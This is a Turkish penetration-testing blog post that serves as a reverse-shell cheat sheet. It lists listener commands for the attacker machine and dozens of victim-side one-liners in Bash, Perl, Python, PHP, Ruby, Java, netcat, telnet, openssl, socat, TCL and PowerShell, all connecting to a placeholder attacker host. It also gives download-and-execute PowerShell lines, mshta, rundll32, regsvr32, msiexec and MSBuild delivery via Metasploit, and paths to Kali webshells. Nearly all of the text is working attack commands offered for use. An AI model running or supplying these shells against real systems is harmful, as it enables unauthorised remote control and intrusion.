Sızma Testlerinde Ters Bağlantı Yöntemleri

0
2766
views
Sızma testleri sırasında ele geçirilen veya ele geçirilecek olan sistemlerde komut çalıştırabilmek için ters bağlantı elde edilme ihtiyacı olabilmektedir. Kullanılan işletim sistemleri ve sürümlerine göre, yüklü uygulamalara göre veya mevcut altyapıya göre ters bağlantı yöntemi değişebilmektedir. Bu yazıda çeşitli ters bağlantı yöntemleri listelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Not: Bu yazının kapsamına, MSFvenom ile oluşturulan dosyalar, arka kapılar, harici uygulamalar dahil edilmemiştir.

Yazıda kullanılacak olan saldırgan makinenin (Sunucu_Saldirgan_IP) TCP&UDP 10443 portunun açılmış olduğu varsayılmaktadır.

nc -nlvp 10443

socat file:tty,echo=0,raw udp-listen:10443

socat file:tty,echo=0,raw tcp-listen:10443

socat TCP-LISTEN:10443,reuseaddr FILE:tty,raw,echo=0

nc -u -l 10443

 

Kurban makinede çalışabilecek olan farklı yöntemdeki komutların listesi alt başlıklarda incelenecektir. Yöntemler ile ilgili bazı notlar aşağıdaki gibi sıralanabilir.

  • Kullanılan bir çok yöntemde kurban makinenin Linux olduğu varsayılmıştır. Kabuk değeri değiştirilerek (/bin/sh –> cmd.exe) Windows sistemde çalışılabilecek şekilde de kullanılabilir.
  • Linux sistemlerde ters bağlantı alırken, karşılaşılan sayılar (3,4,5,6 gibi) dosya tanımlayıcılarını (file descriptor) ifade eder. Dosya tanımlayıcıları ile ilgili ayrıntılı bilgi için kaynaklardaki WordPress bağlantısı incelenebilir.
  • Kurban makinede “nc” yerine “/bin/nc.traditional” veya “/bin/nc.openbsd” tercih edilebilir.
  • Kurban makinede (Solaris gibi) “term” komutunun PATH değişkeninde olmaması durumunda tam dosya yolu (/usr/openwin/bin/term) yazılmalıdır.
  • GAPING_SECURITY_HOLE seçeneğinin devre dışı bırakıldığı sistemlerde “nc” aracı “-e” ile kullanılamamaktadır.
  • Socat bağlantıları SSL ile şifrelenmiş trafiği, IPv6 ile iletişimi de destekler.
  • Dosya yolları, saldırgana ait olan Kali dağıtımları içindir.

 

Bash

/bin/bash -i >& /dev/tcp/Sunucu_Saldirgan_IP/10443 0>&1

exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/Sunucu_Saldirgan_IP/10443; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/Sunucu_Saldirgan_IP/10443
cat <&5 | while read line; do $line 2>&5 >&5; done
while read line 0<&5; do $line 2>&5 >&5; done

 

Perl (Linux)

perl -e ‘use Socket;$i=”Sunucu_Saldirgan_IP”;$p=10443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

“/bin/sh” gibi bir kabuğa bağımlılık istenmiyorsa;

perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”Sunucu_Saldirgan_IP:10443″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

 

Perl (Windows – Fork Olmadan)

perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”Sunucu_Saldirgan_IP:10443″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

 

Perl – Dosya

/usr/share/webshells/perl/perl-reverse-shell.pl

 

Perl – Dosya (Komut Enjeksiyonu)

/usr/share/webshells/perl/perlcmd.cgi
http://Kurban_IP/perlcmd.cgi?cat /etc/passwd

 

ColdFusion (Dosya)

/usr/share/webshells/cfm/cfexec.cfm

 

ASP (Dosya)

/usr/share/webshells/asp/

 

ASPX (Dosya)

/usr/share/webshells/aspx/

 

JSP (Dosya)

/usr/share/webshells/jsp/jsp-reverse.jsp

 

Python (TCP)

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“Sunucu_Saldirgan_IP”,10443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

python -c “exec(\”import socket, subprocess;s = socket.socket();s.connect((‘Sunucu_Saldirgan_IP’,10443))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\”)”

 

Python (UDP)

import subprocess;subprocess.Popen([“python”, “-c”, ‘import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect((\”Sunucu_Saldirgan_IP\”, 10443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\”HISTFILE\”,\”/dev/null\”);pty.spawn(\”/bin/sh\”);s.close()’])

 

Python (TCP / UDP / SCTP – Dosya)

https://github.com/infodox/python-pty-shells

 

PHP

php -r ‘$sock=fsockopen(“Sunucu_Saldirgan_IP”,10443);exec(“/bin/sh -i <&3 >&3 2>&3”);’

php -r ‘$sock=fsockopen(“Sunucu_Saldirgan_IP”,10443);shell_exec(“/bin/sh -i <&3 >&3 2>&3”);’

php -r ‘$sock=fsockopen(“Sunucu_Saldirgan_IP”,10443);/bin/sh -i <&3 >&3 2>&3;’

php -r ‘$s=fsockopen(“Sunucu_Saldirgan_IP”,10443);system(“/bin/sh -i <&3 >&3 2>&3”);’

php -r ‘$s=fsockopen(“Sunucu_Saldirgan_IP”,10443);popen(“/bin/sh -i <&3 >&3 2>&3”, “r”);’

 

PHP Findsock (Dosya)

/usr/share/webshells/php/php-reverse-shell.php

 

PHP FindSock (Dosya – C ile Derlenerek)

/usr/share/webshells/php/php-findsock-shell.php
/usr/share/webshells/php/findsock.c

 

Python (Windows – Dosya)

https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php

 

Ruby

ruby -rsocket -e’f=TCPSocket.open(“Sunucu_Saldirgan_IP”,10443).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

“/bin/sh” gibi bir kabuğa bağımlılık istenmiyorsa;

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“Sunucu_Saldirgan_IP”,”10443″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

 

Ruby (Windows – Fork Olmadan)

ruby -rsocket -e ‘c=TCPSocket.new(“Sunucu_Saldirgan_IP”,”10443″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

 

Java

r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/Sunucu_Saldirgan_IP/10443;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])
p.waitFor()

 

nc

nc -e /bin/sh Sunucu_Saldirgan_IP 10443

nc -c /bin/bash Sunucu_Saldirgan_IP 10443

“-e” seçeneği kullanılamıyorsa;

/bin/sh | nc Sunucu_Saldirgan_IP 10443

rm -f /tmp/p; mknod /tmp/p p && nc Sunucu_Saldirgan_IP 10443 0/tmp/p

rm -f /tmp/backpipe; mknod /tmp/backpipe p && nc Sunucu_Saldirgan_IP 10443 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc Sunucu_Saldirgan_IP 10443 >/tmp/f

 

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet Sunucu_Saldirgan_IP 10443 0/tmp/p

rm -f /tmp/backpipe; mknod /tmp/backpipe p && telnet Sunucu_Saldirgan_IP 10443 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe

Saldırganın dinlediği birinci porttan (TCP\20443 –> nc -nlvp 20443) komut girmek; ikinci porttan (TCP\10443 –> nc -nlvp 10443)  ise çalıştırılan komutun çıktısını görmek isteniyorsa;

telnet Sunucu_Saldirgan_IP 20443 | /bin/bash | telnet Sunucu_Saldirgan_IP 10443

 

Xterm

Kali’de dinleyicinin başlatılır;

Xnest :1

xterm -display 127.0.0.1:1

Kali’de kurban IP’ye bağlanılması için izin verilmelidir

xhost +KurbanIP

Sonrasında bağlantı yakalanabilir.

xterm -display Sunucu_Saldirgan_IP:1

DISPLAY=Sunucu_Saldirgan_IP:0 xterm

 

Openssl (Linux)

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Sunucu_Saldirgan_IP:10443 > /tmp/s; rm /tmp/s

Sonrasında sertifika oluşturulan sunucu tarafında bağlantı yakalanabilir.

openssl req -x509 -newkey rsa:4096 -keyout GizliAnahtar.pem -out Sertifika.pem -days 365 -nodes
openssl s_server -quiet -key GizliAnahtar.pem -cert Sertifika.pem -port 10443

 

Powershell (Windows)

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(“Sunucu_Saldirgan_IP”,10443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -c “IEX(New-Object System.Net.WebClient).DownloadString(‘http://Sunucu_Saldirgan_IP:10443/besimorhino-powercat.ps1’);powercat -c Sunucu_Saldirgan_IP -p 1234 -e cmd”

powershell IEX(New-Object Net.WebClient).downloadString(‘http://Sunucu_Saldirgan_IP:10443/Invoke-PowerShellTcp.ps1’)

 

Not: Bu komutları doğrudan çalıştırmak yerine, bir dosyaya yazarak çıkan ifadeler de çalıştırılabilir.

iconv -f ASCII -t UTF-16LE PowershellKomutEnjeksiyonu.txt | base64 | tr -d “\n”

 

Powershell (Dosya)

/usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1

 

VBS

powershell.exe -c “(New-Object System.NET.WebClient).DownloadFile(‘http://Sunucu_Saldirgan_IP:10443/1.vbs’,\”$env:temp\test.vbs\”);Start-Process %windir%\system32\cscript.exe \”$env:temp\test.vbs\””

 

Plink

plink.exe -ssh root@Sunucu_Saldirgan_IP -P 10443

 

Socat

socat tcp-connect:Sunucu_Saldirgan_IP:10443 exec:”bash -li”,pty,stderr,setsid,sigint,sane

socat tcp4:Sunucu_Saldirgan_IP:10443 EXEC:bash,pty,stderr,setsid,sigint,sane

 

TCL

echo ‘set s [socket Sunucu_Saldirgan_IP 10443];while 42 { puts -nonewline $s “shell>”;flush $s;gets $s c;set e “exec $c”;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh

 

GWAK

 

HTML Application Host (Wİndows)

Kali – MSF: exploit/windows/misc/hta_server (SRVHOST, LHOST)

Kurban: mshta.exe http://Sunucu_Saldirgan_IP:10443/RastgeleKarakterler.hta

 

RunDll32.exe (Windows)

Kali – MSF: exploit/windows/smb/smb_delivery

Kurban: rundll32.exe \\Sunucu_Saldirgan_IP:10443/RastgeleKarakterler\test.dll,0

 

Regsvr32.exe (Windows)

Kali – MSF: exploit/multi/script/web_delivery (LHOST, SRVHOST)

Kurban: regsvr32 /s /n /u /i:http://Sunucu_Saldirgan_IP:10443/RastgeleKarakterler.sct scrobj.dll

 

MSI (Windows)

Kali – MSF: msfvenom -p windows/meterpreter/reverse_tcp LHOST=Sunucu_Saldirgan_IP LPORT=10443 -f msi > Dosya.msi

Kurban: msiexec /q /i http://Sunucu_Saldirgan_IP:10443/Dosya.msi

 

XML (Windows)

Kali: https://github.com/trustedsec/nps_payload

Kurban: C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe Dosya_NPS.xml

 

 

Kaynak:

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://highon.coffee/blog/reverse-shell-cheat-sheet/
http://www.codemania.it/2018/05/04/reverse-shell-cheat-sheet/
https://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
Sistem Programlama-2 open() close()

Reverse-shell one-liner Cheat Sheet


https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.